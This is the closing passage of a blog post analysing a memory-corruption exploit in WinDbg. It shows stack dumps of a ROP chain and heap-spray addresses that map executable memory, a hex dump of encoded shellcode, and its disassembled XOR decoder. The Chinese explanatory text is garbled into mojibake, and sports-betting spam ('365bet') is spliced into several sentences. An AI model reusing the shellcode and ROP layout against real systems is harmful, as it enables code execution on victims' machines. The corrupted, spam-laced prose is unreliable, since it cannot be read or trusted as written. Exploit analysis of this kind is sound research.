7c80955a e8ddfeffff      call    kernel32!CreateFileMappingW (7c80943c)
0:000> dd esp
0c0c0c40  0000048c 00000000 00000040 00000000
0c0c0c50  00010000 00000000 0224b760 4a801064
0c0c0c60  4a801064 41414141 4a801064 0000048c
0c0c0c70  00000000 00000040 00000000 00010000
0c0c0c80  00000000 4a8063a5 4a801064 4a842db2
0c0c0c90  4a802ab1 00000008 4a80a8a6 4a801f90
0c0c0ca0  4a849030 4a80b692 4a801064 ffffffff
0c0c0cb0  00000022 00000000 00000000 00010000

ÔÚÕâÖ®ºó½ô½Ó×Å£¬ÓÃÏàͬµÄÊֶε÷ÓÃÁËCreateFileMappingExº¯Êý£¬½«Ö®Ç°´´½¨µÄÎļþÄÚ´æÓ³Éä¶ÔÏóÓ³Éäµ½µ±Ç°³ÌÐòµÄµØÖ·¿Õ¼ä£¬Æ亯ÊýÔ­ÐͺͲÎÊýÈçÏÂ

LPVOID WINAPI MapViewOfFileEx(
¡¡¡¡__in HANDLE hFileMappingObject,
¡¡¡¡__in DWORD dwDesiredAccess,
¡¡¡¡__in DWORD dwFileOffsetHigh,
¡¡¡¡__in DWORD dwFileOffsetLow,
¡¡¡¡__in SIZE_T dwNumberOfBytesToMap,
¡¡¡¡__in LPVOID lpBaseAddress
¡¡¡¡);

0:000> p
eax=4a849030 ebx=00000008 ecx=4a801064 edx=7c90e514 esi=0224b760 edi=00000488
eip=7c80b9bb esp=0c0c0c8c ebp=0c0c0ca4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
kernel32!MapViewOfFile+0x16:
7c80b9bb e876ffffff      call    kernel32!MapViewOfFileEx (7c80b936)
0:000> dd esp
0c0c0c8c  00000488 00000022 00000000 00000000
0c0c0c9c  00010000 00000000 41414141 4a801064
0c0c0cac  00000488 00000022 00000000 00000000
0c0c0cbc  00010000 4a8063a5 4a8a0004 4a802196
0c0c0ccc  4a8063a5 4a801064 4a842db2 4a802ab1
0c0c0cdc  00000030 4a80a8a6 4a801f90 4a8a0004
0c0c0cec  4a80a7d8 4a8063a5 4a801064 4a842db2
0c0c0cfc  4a802ab1 00000020 4a80a8a6 4a8063a5

ÔÙÍùÏÂ×ߣ¬365betÌåÓýÔÚÏßÃÇÅöµ½ÁËÒ»¸öºÜÊìϤµÄº¯Êýmemcpy£¬´Ë´¦½«ÕæÕýµÄshellcode¸´ÖƵ½Ó³Éä¹ýÀ´µÄÄÚ´æÇøÓò£¬È»ºóÖ´ÐÐ

0:000> p
eax=0c0c1d54 ebx=0000000a ecx=00000400 edx=00000000 esi=0c0c0d54 edi=03f30000
eip=7814507a esp=0c0c0d38 ebp=0c0c0d40 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
MSVCR80!memcpy+0x5a:
7814507a f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> dd esi
0c0c0d54  1039dbb8 d9dada5b 5af42474 31b1c931
0c0c0d64  31fcea83 42030f42 a7e5dbd4 58069902
0c0c0d74  bd8ffed2 b6eb3ee3 9a7f8f53 0f2d645f
0c0c0d84  20fa08d4 0fdca65d 111d9b5e f171e6dc
0c0c0d94  f08428dd a065541a 55d812f3 dee16e70
0c0c0da4  02617eca 9540819a 1742db91 0fcb5076
0c0c0db4  a4855d9b 6d14296f 50bbd2be 95c5210f
0c0c0dc4  efb0dab7 2bc367c4 a846b3b7 14f0371f
0:000> u esi
0c0c0d54 b8db39105b      mov     eax,5B1039DBh
0c0c0d59 dada            fcmovu  st,st(2)
0c0c0d5b d97424f4        fnstenv [esp-0Ch]
0c0c0d5f 5a              pop     edx
0c0c0d60 31c9            xor     ecx,ecx
0c0c0d62 b131            mov     cl,31h
0c0c0d64 83eafc          sub     edx,0FFFFFFFCh
0c0c0d67 31420f          xor     dword ptr [edx+0Fh],eax

Õâʱ365betÌåÓýÔÚÏßÃÇ·¢ÏÖÒѾ­´´½¨ºÃµÄÎļþÖб»Ð´ÈëÁËshellcode£¬´ò¿ªÈçÏÂËùʾ

¿ÉÒÔ·¢ÏÖÕâÕýÊÇ365betÌåÓýÔÚÏßÃǸ´ÖƹýÀ´µÄÊý¾Ý£¬Ëæºó365betÌåÓýÔÚÏßÃǶÔÆä½øÐз´»ã±à£¬¿´¿´Æä´úÂ룬ÈçÏÂËùʾ

void fcn.00000000(int64_t arg1, int64_t arg2, int64_t arg_10h)
{
    uint32_t uVar1;
    int64_t iVar2;
    uint64_t uVar3;
    int64_t unaff_RSI;
    int64_t unaff_RDI;
    uint32_t in_FPUInstructionPointer;
    
    uVar1 = 0x81876589;
    uVar3 = (uint64_t)in_FPUInstructionPointer;
    iVar2 = 0x59;
    do {
        uVar3 = (uint64_t)((int32_t)uVar3 + 4);
        *(uint32_t *)(uVar3 + 0x10) = *(uint32_t *)(uVar3 + 0x10) ^ uVar1;
        uVar1 = uVar1 + *(int32_t *)(uVar3 + 0x10);
        iVar2 = iVar2 + -1;
    } while (iVar2 != 0);
    fcn.000000b0(unaff_RSI, unaff_RDI);
    // WARNING: Bad instruction - Truncating control flow here
    halt_baddata();
}

×ܽá

×÷ÕßÔÚÑ¡ÔñÖ´ÐÐshellcodeµÄʱºòÑ¡ÔñÓô´½¨ÐµĿÉÖ´ÐÐÄÚ´æÇøÓòµÄ·½Ê½Ê¹µÃÈ365betÌåÓýÔÚÏßâ´úÂëÖ´ÐиüÎȶ¨£¬ÕâÖÖÎÈÍ×µÄÀûÓò»Ê§Îª365ÌåÓýͶעºÃµÄ˼·¡£

posted @ 2020-10-17 23:47  Taolaw  ÔĶÁ(103)  ÆÀÂÛ(0)  ±à¼­  ÊÕ²Ø